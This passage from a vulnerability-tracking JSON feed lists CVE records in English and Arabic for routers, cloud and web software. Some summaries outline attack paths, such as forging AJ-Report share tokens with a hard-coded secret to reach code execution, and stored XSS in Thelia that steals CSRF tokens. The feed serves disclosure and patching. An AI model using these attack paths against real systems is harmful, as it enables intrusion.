and worker 0.1.756: volume identifiers and mount paths are validated before a mount is built, including for stubs saved before the check existed, and the gateway rejects a volume that does not exist or is not owned by the workspace.","ar":"يمكن لمستأجر Beta9 إرفاق وحدة تخزين عند نشر دالة أو نقطة نهاية أو طابور مهام. يقوم البوابة بإنشاء مسار المضيف من خلال دمج جذر وحدات التخزين المشتركة، واسم مساحة العمل، ومُعرّف وحدة التخزين من إعدادات الحزمة الوهمية. لا يوجد شيء يتحقق من أن المُعرّف يخص وحدة تخزين تملكها مساحة العمل. تؤدي مقاطع الدليل الأصلي في المُعرّف إلى تقليص المسار المدمج إلى جذر نظام الملفات الخاص بالعامل، ويقوم العامل بربط هذا المسار داخل بيئة الحماية بقراءة وكتابة ما لم يتم تمييز وحدة تخزين صراحةً بأنها للقراءة فقط. ونتيجة لذلك، يمكن لمستأجر يملك رمز مساحة عمل قراءة وكتابة ملفات العامل، بما في ذلك وحدات تخزين المستأجرين الآخرين المخزنة على هذا الجهاز. تم تأكيد ذلك في الإصدارين gateway 0.1.769 وworker 0.1.745. وتم الإصلاح في الإصدارين gateway 0.1.776 وworker 0.1.756: حيث يتم التحقق من مُعرّفات وحدات التخزين ومسارات الربط قبل بناء عملية الربط، بما في ذلك الحزم الوهمية المحفوظة قبل وجود التحقق، وترفض البوابة وحدة التخزين التي لا توجد أو لا تملكها مساحة العمل."},"refs":[["https://github.com/beam-cloud/beta9/pull/1897","patch"],["https://github.com/beam-cloud/beta9/commit/a28bf12cf0007c792a25d8ed282b4e8bf6f30393","patch"],["https://github.com/beam-cloud/beta9","ref"],["https://github.com/beam-cloud/beta9/releases/tag/gateway-0.1.776","ref"],["https://github.com/beam-cloud/beta9/releases/tag/worker-0.1.756","ref"],["https://github.com/beam-cloud/beta9/releases/tag/gateway-0.1.769","ref"],["https://github.com/beam-cloud/beta9/releases/tag/worker-0.1.745","ref"]],"epss":0.0053,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"beam-cloud-beta9-gateway"},{"id":"CVE-2026-120225","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","cwe":"CWE-23","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T10:45:20Z","product":"Oray Pugongying X5 Pro","affected":[["7.6.0",null],["7.6.1",null]],"title":{"en":"Oray Pugongying X5 Pro openwrt_release config_restore_ex path traversal","ar":"انتقال عبر المسار في config_restore_ex ضمن openwrt_release في Oray Pugongying X5 Pro"},"summary":{"en":"A weakness has been identified in Oray Pugongying X5 Pro up to 7.6.1. Affected by this vulnerability is the function config_restore_ex of the file /etc/openwrt_release. This manipulation of the argument filename causes relative path traversal. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم تحديد نقطة ضعف في Oray Pugongying X5 Pro حتى الإصدار 7.6.1. تتأثر بهذه الثغرة الدالة config_restore_ex في الملف /etc/openwrt_release. يتسبب التلاعب بالوسيط filename في حدوث انتقال عبر المسار النسبي. يمكن شن الهجوم عن بُعد. وأصبحت أداة الاستغلال متاحة للعموم وقد تُستخدم في شن هجمات. تم التواصل مع المورد مبكرًا بشأن هذا الإفصاح لكنه لم يستجب بأي طريقة."},"refs":[["https://vuldb.com/cve/CVE-2026-120225","advisory"],["https://vuldb.com/submit/1007547","advisory"],["https://vuldb.com/submit/1007550","advisory"],["https://vuldb.com/submit/1007551","advisory"],["https://vuldb.com/vuln/429584","ref"],["https://vuldb.com/vuln/429584/cti","ref"],["https://app.notion.com/p/Oray-Pgyer-X5-Pro-Router-7-6-1-Configuration-Restore-Filename-Traversal-Leads-to-Root-Code-Execution-3eb797159f158017a2cbe1732b7ffa6c","ref"]],"epss":0.0073,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oray-pugongying-x5-pro"},{"id":"CVE-2026-120224","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","cwe":"CWE-285","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T10:15:16Z","product":"Oray Pugongying X5 Pro","affected":[["7.6.0",null],["7.6.1",null]],"title":{"en":"Oray Pugongying X5 Pro API Authorization run_async_task improper authorization","ar":"تفويض غير سليم في run_async_task للمكون API Authorization في Oray Pugongying X5 Pro"},"summary":{"en":"A security flaw has been discovered in Oray Pugongying X5 Pro up to 7.6.1. Affected is the function run_apis_by_json/run_async_task of the component API Authorization. The manipulation results in improper authorization. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم اكتشاف ثغرة أمنية في Oray Pugongying X5 Pro حتى الإصدار 7.6.1. وتتأثر بهذه الثغرة الدالة run_apis_by_json/run_async_task التابعة للمكون API Authorization. يؤدي التلاعب إلى تفويض غير سليم، ويمكن شن الهجوم عن بُعد. تم نشر استغلال الثغرة للعلن وقد يُستخدم في شن هجمات. تم التواصل مع المورد مبكرًا بشأن هذا الإفصاح ولكنه لم يستجب بأي شكل من الأشكال."},"refs":[["https://vuldb.com/cve/CVE-2026-120224","advisory"],["https://vuldb.com/submit/1007541","advisory"],["https://vuldb.com/submit/1007542","advisory"],["https://vuldb.com/vuln/429583","ref"],["https://vuldb.com/vuln/429583/cti","ref"],["https://app.notion.com/p/Oray-Pgyer-X5-Pro-Router-7-6-1-Restricted-Account-Can-Invoke-Factory-Reset-through-the-JSON-Batch-AP-3eb797159f1580febfd2f0e1ee239352","ref"]],"epss":0.0038,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oray-pugongying-x5-pro"},{"id":"CVE-2026-120197","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T04:18:47Z","product":"WAVLINK WL-WN530HG4B","affected":[["M_V260724",null]],"title":{"en":"WAVLINK WL-WN530HG4B wapi.cgi port_forward os command injection","ar":"ثغرة حقن أوامر نظام التشغيل في WAVLINK WL-WN530HG4B عبر wapi.cgi و port_forward"},"summary":{"en":"A flaw has been found in WAVLINK WL-WN530HG4B M_V260724. This impacts the function port_forward of the file /cgi-bin/wapi.cgi. This manipulation of the argument Name causes os command injection. It is possible to initiate the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure.","ar":"تم اكتشاف خلل في إصدار M_V260724 من WAVLINK WL-WN530HG4B. يؤثر هذا الخلل على الدالة port_forward في الملف /cgi-bin/wapi.cgi. يؤدي التلاعب بالوسيط Name إلى حقن أوامر نظام التشغيل. من الممكن شن الهجوم عن بُعد. تم نشر استغلال لهذه الثغرة وقد يُستخدم. وقد تم التواصل مع المورد مبكرًا بشأن هذا الكشف."},"refs":[["https://vuldb.com/cve/CVE-2026-120197","advisory"],["https://vuldb.com/submit/917074","advisory"],["https://github.com/pipiyyb/cve/blob/main/WL-WN530HG4B.md","ref"],["https://vuldb.com/vuln/429560","ref"],["https://vuldb.com/vuln/429560/cti","ref"]],"epss":0.0169,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wl-wn530hg4b"},{"id":"CVE-2026-120195","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T04:18:46Z","product":"WAVLINK WL-WN579A3-A","affected":[["2026-03-10-94f93d4",null]],"title":{"en":"WAVLINK WL-WN579A3-A Initial Setup Wizard adm.cgi set_wzdgwMesh os command injection","ar":"ثغرة حقن أوامر نظام التشغيل في معالج الإعداد الأولي WAVLINK WL-WN579A3-A عبر adm.cgi و set_wzdgwMesh"},"summary":{"en":"A security vulnerability has been detected in WAVLINK WL-WN579A3-A 2026-03-10-94f93d4. The impacted element is the function set_wzdgwMesh of the file /cgi-bin/adm.cgi of the component Initial Setup Wizard. The manipulation of the argument wlan_ssid leads to os command injection. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure.","ar":"تم اكتشاف ثغرة أمنية في إصدار 2026-03-10-94f93d4 من WAVLINK WL-WN579A3-A. العنصر المتأثر هو الدالة set_wzdgwMesh في الملف /cgi-bin/adm.cgi التابع لمكون معالج الإعداد الأولي. يؤدي التلاعب بالوسيط wlan_ssid إلى حقن أوامر نظام التشغيل. من الممكن تنفيذ الهجوم عن بُعد. تم الكشف عن الاستغلال للعامة وقد يُستخدم. وقد تم التواصل مع المورد مبكرًا بشأن هذا الكشف."},"refs":[["https://vuldb.com/cve/CVE-2026-120195","advisory"],["https://vuldb.com/submit/914922","advisory"],["https://github.com/pipiyyb/cve/blob/main/WAVLINK_WN579A3_CVE_wzdgwMesh_wlan_ssid.md","ref"],["https://vuldb.com/vuln/429558","ref"],["https://vuldb.com/vuln/429558/cti","ref"]],"epss":0.0207,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wl-wn579a3-a"},{"id":"CVE-2026-120198","cvss":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T04:15:16Z","product":"WAVLINK WL-WN530BE1-A","affected":[["V251117",null]],"title":{"en":"WAVLINK WL-WN530BE1-A protocol.csp con_check_read_finish command injection","ar":"ثغرة حقن الأوامر في WAVLINK WL-WN530BE1-A عبر protocol.csp و con_check_read_finish"},"summary":{"en":"A vulnerability has been found in WAVLINK WL-WN530BE1-A V251117. Affected is the function con_check_read_finish of the file /protocol.csp. Such manipulation of the argument group_name/IP-FROM leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure.","ar":"تم العثور على ثغرة في إصدار V251117 من WAVLINK WL-WN530BE1-A. تتأثر الدالة con_check_read_finish في الملف /protocol.csp. يؤدي هذا التلاعب في الوسيط group_name/IP-FROM إلى حقن الأوامر. من الممكن شن الهجوم عن بُعد. تم الكشف عن الاستغلال للعامة وقد يُستخدم. وقد تم التواصل مع المورد مبكرًا بشأن هذا الكشف."},"refs":[["https://vuldb.com/cve/CVE-2026-120198","advisory"],["https://vuldb.com/submit/918551","advisory"],["https://vuldb.com/vuln/429561","ref"],["https://vuldb.com/vuln/429561/cti","ref"],["https://github.com/pipiyyb/cve/blob/main/WN530BE1.md","ref"]],"epss":0.0207,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wl-wn530be1-a"},{"id":"CVE-2026-120196","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T03:30:24Z","product":"WAVLINK WN579X3-D","affected":[["V250402",null]],"title":{"en":"WAVLINK WN579X3-D wapi.cgi port_forward os command injection","ar":"ثغرة حقن أوامر نظام التشغيل في ملف wapi.cgi الخاص بخاصية port_forward في جهاز WAVLINK WN579X3-D"},"summary":{"en":"A vulnerability was detected in WAVLINK WN579X3-D V250402. This affects the function port_forward of the file /cgi-bin/wapi.cgi. The manipulation of the argument Name results in os command injection. The attack may be performed from remote. The exploit is now public and may be used. The vendor was contacted early about this disclosure.","ar":"تم اكتشاف ثغرة في الإصدار V250402 من جهاز WAVLINK WN579X3-D. تؤثر هذه الثغرة على الدالة port_forward في الملف \"/cgi-bin/wapi.cgi\". يؤدي التلاعب بالوسيط Name إلى حقن أوامر نظام التشغيل. يمكن تنفيذ الهجوم عن بُعد، وقد أصبح استغلال الثغرة علنيًا وربما يُستخدم. تم التواصل مع المورد مبكرًا بخصوص هذا الإفصاح."},"refs":[["https://vuldb.com/cve/CVE-2026-120196","advisory"],["https://vuldb.com/submit/916941","advisory"],["https://vuldb.com/vuln/429559","ref"],["https://vuldb.com/vuln/429559/cti","ref"],["https://github.com/pipiyyb/cve/blob/main/WN579X3-D(en).md","ref"]],"epss":0.0169,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wavlink-wn579x3-d"},{"id":"CVE-2026-120191","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-01T01:17:17Z","product":"Presenton","affected":[["0.9.11-beta",null]],"title":{"en":"Presenton API missing authentication","ar":"قصور في المصادقة ضمن واجهة برمجة التطبيقات API في Presenton"},"summary":{"en":"A weakness has been identified in Presenton up to 0.9.11-beta. Affected by this issue is some unknown functionality of the component API. This manipulation causes missing authentication. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 0.9.12-beta can resolve this issue. Patch name: 44c8a61122b21f17642d717b0c4d6f2c54c0f180. You should upgrade the affected component.","ar":"تم تحديد نقطة ضعف في Presenton حتى الإصدار 0.9.11-beta. تأثر بهذا الإصدار وظيفة مجهولة من مكون واجهة برمجة التطبيقات API. يتسبب هذا التلاعب في قصور في المصادقة. من الممكن بدء الهجوم عن بُعد. وقد توفر استغلال هذه الثغرة للجمهور ويمكن استخدامه لتنفيذ هجمات. يمكن أن يؤدي الترقية إلى الإصدار 0.9.12-beta إلى حل هذه المشكلة. اسم التصحيح: 44c8a61122b21f17642d717b0c4d6f2c54c0f180. يجب عليك ترقية المكون المتأثر."},"refs":[["https://github.com/presenton/presenton/commit/44c8a61122b21f17642d717b0c4d6f2c54c0f180","patch"],["https://github.com/presenton/presenton/pull/980","patch"],["https://github.com/presenton/presenton/releases/tag/v0.9.12-beta","patch"],["https://vuldb.com/cve/CVE-2026-120191","advisory"],["https://vuldb.com/submit/1027384","advisory"],["https://github.com/presenton/presenton/","ref"],["https://github.com/presenton/presenton/issues/972","ref"],["https://vuldb.com/vuln/429530","ref"],["https://vuldb.com/vuln/429530/cti","ref"]],"epss":0.008,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"presenton"},{"id":"CVE-2026-120189","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-01T01:17:16Z","product":"D-Link DIR-505","affected":[["1.10B02",null]],"title":{"en":"D-Link DIR-505 TFTP Upload Filename tftpd mp_upload_file stack-based overflow","ar":"فيضان المخزن المؤقت المستند إلى المكدس في اسم ملف رفع TFTP في D-Link DIR-505 عبر tftpd mp_upload_file"},"summary":{"en":"A vulnerability was identified in D-Link DIR-505 1.10B02. Affected is the function save_upload_file/mp_upload_file of the file /usr/bin/tftpd of the component TFTP Upload Filename Handler. The manipulation leads to stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit is publicly available and might be used.","ar":"تم تحديد ثغرة أمنية في D-Link DIR-505 الإصدار 1.10B02. المكون المتأثر هو الدالة save_upload_file/mp_upload_file في الملف /usr/bin/tftpd التابع لمكون معالج أسماء ملفات رفع TFTP. يؤدي هذا التلاعب إلى فيضان المخزن المؤقت المستند إلى المكدس. من الممكن تنفيذ الهجوم عن بُعد. والاستغلال متاح للعامة وقد يتم استخدامه."},"refs":[["https://vuldb.com/cve/CVE-2026-120189","advisory"],["https://vuldb.com/submit/1027185","advisory"],["https://github.com/Walnut1337/DIR-505_filename_rce/tree/main/poc","ref"],["https://vuldb.com/vuln/429528","ref"],["https://vuldb.com/vuln/429528/cti","ref"],["https://www.dlink.com/","ref"]],"epss":0.0135,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"d-link-dir-505"},{"id":"CVE-2026-120135","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-674","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-31T20:33:00Z","product":"Apache Software Foundation Apache Thrift","affected":[["0 – <0.24.0","0.24.0"]],"title":{"en":"Apache Thrift: Java TProtocolUtil.skip() does not limit the recursion depth by default","ar":"Apache Thrift: دالة Java TProtocolUtil.skip() لا تحد من عمق التكرار افتراضيًا"},"summary":{"en":"Uncontrolled Recursion vulnerability in Apache Thrift Java bindings. This issue affects Apache Thrift: before 0.24.0. Users are recommended to upgrade to version 0.24.0, which fixes the issue.","ar":"توجد ثغرة تكرار غير محكوم في حزم ربط Java لـ Apache Thrift. تؤثر هذه المشكلة على Apache Thrift قبل الإصدار 0.24.0. يُنصح المستخدمون بالترقية إلى الإصدار 0.24.0 الذي يعالج المشكلة."},"refs":[["https://lists.apache.org/thread/7v3jhgwfbmhx42424phydlnzb109g8b9","advisory"],["https://lists.apache.org/thread/2zzkm3mfhfg79ohjo37pg1gms5nto588","advisory"]],"epss":0.0055,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apache-software-foundation-apache-thrift"},{"id":"CVE-2026-118636","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T20:17:11Z","product":"Apache Software Foundation Apache MINA","affected":[["3.0.0 – 3.0.0-M2",null]],"title":{"en":"Apache MINA: Unsafe Deserialization (CWE-502) in JavaNativeMessageDecoder","ar":"Apache MINA: إزالة تسلسل غير آمنة (CWE-502) في JavaNativeMessageDecoder"},"summary":{"en":"**UNSUPPORTED WHEN ASSIGNED** JavaNativeMessageDecoder in the MINA 3.0 codec module calls ObjectInputStream.readObject() on frame bytes with no class filter, so an application that puts it in front of an untrusted peer is open to gadget-chain RCE. As the 3.0.0 branch is inactive, we do not plan to release a version that fixes this issue. Users are recommended to use the latest Apache MINA 2.2.X branch.","ar":"**غير مدعوم عند التعيين** يقوم JavaNativeMessageDecoder في وحدة ترميز MINA 3.0 باستدعاء ObjectInputStream.readObject() على بايتات الإطار دون وجود مرشح فئات (class filter)، مما يجعل أي تطبيق يضعه في مواجهة نظير غير موثوق به عرضة لتنفيذ أوامر عن بُعد (RCE) عبر gadget-chain. ونظرًا لأن الفرع 3.0.0 غير نشط، فلا توجد خطة لإصدار نسخة تعالج هذه المشكلة. يُوصى المستخدمون باستخدام أحدث فرع من Apache MINA 2.2.X."},"refs":[["https://www.cve.org/CVERecord?id=CVE-2026-118636","advisory"],["https://lists.apache.org/thread.html/h76nwcrkvsffhsk2kq6cjzc6srtnty7x","advisory"]],"epss":0.0058,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apache-software-foundation-apache-mina"},{"id":"CVE-2026-118147","cvss":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-295","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-31T18:13:37Z","product":"Microsoft Microsoft Visual Studio 2017 version 15.9","affected":[["15.9.0 – <15.9.84","15.9.84"],["16.11.0 – <16.11.62","16.11.62"],["17.14.0 – <17.14.44","17.14.44"],["18.11.0 – <18.11.3","18.11.3"]],"title":{"en":"Visual Studio Spoofing Vulnerability","ar":"ثغرة انتحال الهوية في Visual Studio"},"summary":{"en":"Improper certificate validation in Visual Studio allows an unauthorized attacker to perform spoofing over a network.","ar":"يسمح التحقق غير السليم من الشهادات في Visual Studio لمهاجم غير مصرح له بتنفيذ انتحال الهوية عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-118147","patch"]],"epss":0.0061,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"microsoft-visual-studio"},{"id":"CVE-2026-120209","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-321","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T17:25:56Z","product":"anji-plus AJ-Report","affected":[["0 – 1.7.1",null]],"title":{"en":"AJ-Report through 1.7.1 Authentication Bypass leading to RCE via Share-Token","ar":"ثغرة تجاوز المصادقة في AJ-Report حتى الإصدار 1.7.1 تؤدي إلى تنفيذ أوامر عن بُعد عبر Share-Token"},"summary":{"en":"AJ-Report through 1.7.1 signs share tokens with a hard-coded JWT secret, allowing attackers to forge valid Share-Tokens offline. Attackers can mint a token with reportCode 'dataSet' to access the testTransform endpoint, which passes scripts to GroovyClassLoader for unauthenticated remote code execution.","ar":"يوقع AJ-Report حتى الإصدار 1.7.1 رموز المشاركة (share tokens) باستخدام سر JWT مدمج (hard-coded)، مما يسمح للمهاجمين بتزوير رموز Share-Tokens صالحة دون اتصال بالإنترنت. يمكن للمهاجمين إنشاء رمز بمعرف reportCode 'dataSet' للوصول إلى نقطة النهاية testTransform، والتي تمرر نصوصًا برمجية إلى GroovyClassLoader لتنفيذ أوامر عن بُعد دون مصادقة."},"refs":[["https://www.vulncheck.com/advisories/aj-report-through-1.7.1-authentication-bypass-leading-to-rce-via-share-token","advisory"],["https://gitee.com/belief-team/report/issues/IKRV6T","ref"],["https://gitee.com/belief-team/report/blob/V1.7.1/report-core/src/main/java/com/anjiplus/template/gaea/business/util/JwtUtil.java","ref"],["https://gitee.com/belief-team/report","ref"]],"epss":0.0054,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"anji-plus-aj-report"},{"id":"CVE-2026-120208","cvss":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-122","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-31T17:25:55Z","product":"strukturag libheif","affected":[["1.18.0 – <1.23.3","1.23.3"]],"title":{"en":"libheif 1.18.0 before 1.23.3 Heap Buffer Overflow via unci Mixed-Interleave Decoder","ar":"ثغرة فيضان المخزن المؤقت للكومة في libheif 1.18.0 قبل الإصدار 1.23.3 عبر فك تشفير unci Mixed-Interleave"},"summary":{"en":"libheif 1.18.0 before 1.23.3 contains a heap-based buffer overflow vulnerability in unc_decoder_mixed_interleave::processTile() that allows attackers to write out of bounds by supplying chroma components with unequal bit depths. Attackers can craft a HEIF file declaring, for example, 16-bit Cb and 8-bit Cr to trigger file-controlled heap writes past the Cr plane, potentially achieving code execution in image-processing pipelines.","ar":"يحتوي libheif 1.18.0 قبل الإصدار 1.23.3 على ثغرة فيضان المخزن المؤقت القائم على الكومة (heap-based buffer overflow) في unc_decoder_mixed_interleave::processTile() والتي تسمح للمهاجمين بالکتابة خارج الحدود من خلال توفير مكونات صفاء لونية (chroma components) بأعماق بتات غير متساوية. يمكن للمهاجمين صياغة ملف HEIF يعلن، على سبيل المثال، عن Cb بـ 16 بت و Cr بـ 8 بت لتشغيل عمليات كتابة في الكومة يتحكم فيها الملف متجاوزة مستوى Cr، مما قد يحقق تنفيذ الشيفرة في خطوط معالجة الصور."},"refs":[["https://github.com/strukturag/libheif/commit/9d3cd91d7b1c8c68deef6d06057ab956bcb0dfb9","patch"],["https://github.com/strukturag/libheif/security/advisories/GHSA-x8r2-mggj-j6wr","advisory"],["https://www.vulncheck.com/advisories/libheif-1.18.0-before-1.23.3-heap-buffer-overflow-via-unci-mixed-interleave-decoder","advisory"],["https://github.com/strukturag/libheif/releases/tag/v1.23.3","ref"],["https://github.com/strukturag/libheif/blob/v1.23.2/libheif/codecs/uncompressed/unc_decoder_mixed_interleave.cc#L95","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"strukturag-libheif"},{"id":"CVE-2026-120207","cvss":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N","cwe":"CWE-352","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-31T17:25:54Z","product":"Thelia Thelia Page Module","affected":[["0 – <2.0.4","2.0.4"]],"title":{"en":"Thelia Page Module before 2.0.4 CSRF via Page Tag, Document and Image Delete Routes","ar":"ثغرة تزوير الطلبات عبر المواقع (CSRF) في وحدة Thelia Page قبل الإصدار 2.0.4 عبر مسارات حذف Page Tag وDocument وImage"},"summary":{"en":"Thelia Page Module before 2.0.4 contains a cross-site request forgery vulnerability that allows remote attackers to delete page tags, documents and images by abusing back-office delete routes lacking CSRF tokens and permission checks. Attackers can lure a logged-in administrator into navigating to crafted GET requests that walk sequential ids, removing TheliaLibrary images, their files and variants across pages, products and categories.","ar":"تتضمن وحدة Thelia Page قبل الإصدار 2.0.4 ثغرة تزوير الطلبات عبر المواقع تسمح للمهاجمين عن بُعد بحذف علامات الصفحة (page tags) والمستندات والصور من خلال إساءة استخدام مسارات الحذف في الخلفية التي تفتقر إلى رموز CSRF وفحوصات الأذونات. يمكن للمهاجمين خداع مسؤول مسجل الدخول للانتقال إلى طلبات GET مصممة تتجول عبر معرفات متسلسلة، مما يؤدي إلى إزالة صور TheliaLibrary وملفاتها ومتغيراتها عبر الصفحات والمنتجات والفئات."},"refs":[["https://github.com/thelia-modules/Page/commit/e7206a7c35c945cc8fe529fe95a9b30402f0fb60","patch"],["https://github.com/thelia/thelia/security/advisories/GHSA-whqr-4v2h-6jhc","advisory"],["https://www.vulncheck.com/advisories/thelia-page-module-before-2.0.4-csrf-via-page-tag-document-and-image-delete-routes","advisory"],["https://github.com/thelia-modules/Page/blob/2.0.3/Controller/Admin/PageImageController.php#L117","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"thelia-page-module"},{"id":"CVE-2026-120205","cvss":7.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-31T17:25:53Z","product":"Thelia Thelia","affected":[["0 – <3.1.0","3.1.0"]],"title":{"en":"Thelia before 3.1.0 Stored XSS via Coupon Condition Customer Name","ar":"ثغرة البرمجة النصية عبر المواقع المخزنة (Stored XSS) في Thelia قبل الإصدار 3.1.0 عبر اسم عميل شرط القسيمة"},"summary":{"en":"Thelia before 3.1.0 contains a stored cross-site scripting vulnerability in ForSomeCustomers::getSummary() that allows unauthenticated attackers to inject scripts via unescaped customer names. Attackers can register with a script payload as their name that executes when administrators view related coupons, stealing CSRF tokens to create administrator accounts.","ar":"تحتوي Thelia قبل الإصدار 3.1.0 على ثغرة برمجة نصية عبر المواقع مخزنة في ForSomeCustomers::getSummary() والتي تسمح للمهاجمين دون مصادقة بححقن نصوص برمجية عبر أسماء العملاء غير المُهَرّبة. يمكن للمهاجمين التسجيل باستخدام حمولة نص برمجي كاسم خاص بهم يتم تنفيذه عندما يعرض المسؤولون القسائم ذات الصلة، مما يسرق رموز CSRF لإنشاء حسابات مسؤولين."},"refs":[["https://github.com/thelia/thelia/commit/c90d59375089a0833a56703c6f9f9ddea17bddc9","patch"],["https://github.com/thelia/thelia/security/advisories/GHSA-r63g-6wfg-v5v9","advisory"],["https://www.vulncheck.com/advisories/thelia-before-3.1.0-stored-xss-via-coupon-condition-customer-name","advisory"],["https://github.com/thelia/thelia/releases/tag/3.1.0","ref"],["https://github.com/thelia/thelia/blob/3.0.0/core/lib/Thelia/Condition/Implementation/ForSomeCustomers.php#L119","ref"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"thelia"},{"id":"CVE-2026-120203","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-31T17:25:52Z","product":"ShowDoc ShowDoc","affected":[["2.8.14 – <3.9.6","3.9.6"]],"title":{"en":"ShowDoc 2.8.14 before 3.9.6 Code Injection via Mock Templates","ar":"ثغرة حقن الشيفرة في ShowDoc 2.8.14 قبل الإصدار 3.9.6 عبر قوالب Mock"},"summary":{"en":"ShowDoc 2.8.14 before 3.9.6 contains a code injection vulnerability in its Mock feature that allows authenticated users to execute shell commands through mockjs templates. Attackers can store a template via MockController::add with escaped parentheses that mockjs evaluates with eval(), then trigger it through MockController::infoByKey to run commands, as root in the official Docker image.","ar":"يحتوي ShowDoc 2.8.14 قبل الإصدار 3.9.6 على ثغرة حقن شيفرة في ميزة Mock الخاصة به والتي تسمح للمستخدمين المصادق عليهم بتنفيذ أوامر الصدفة (shell commands) من خلال قوالب mockjs. يمكن للمهاجمين تخزين قالب عبر MockController::add بأقواس مهربة يقيّمها 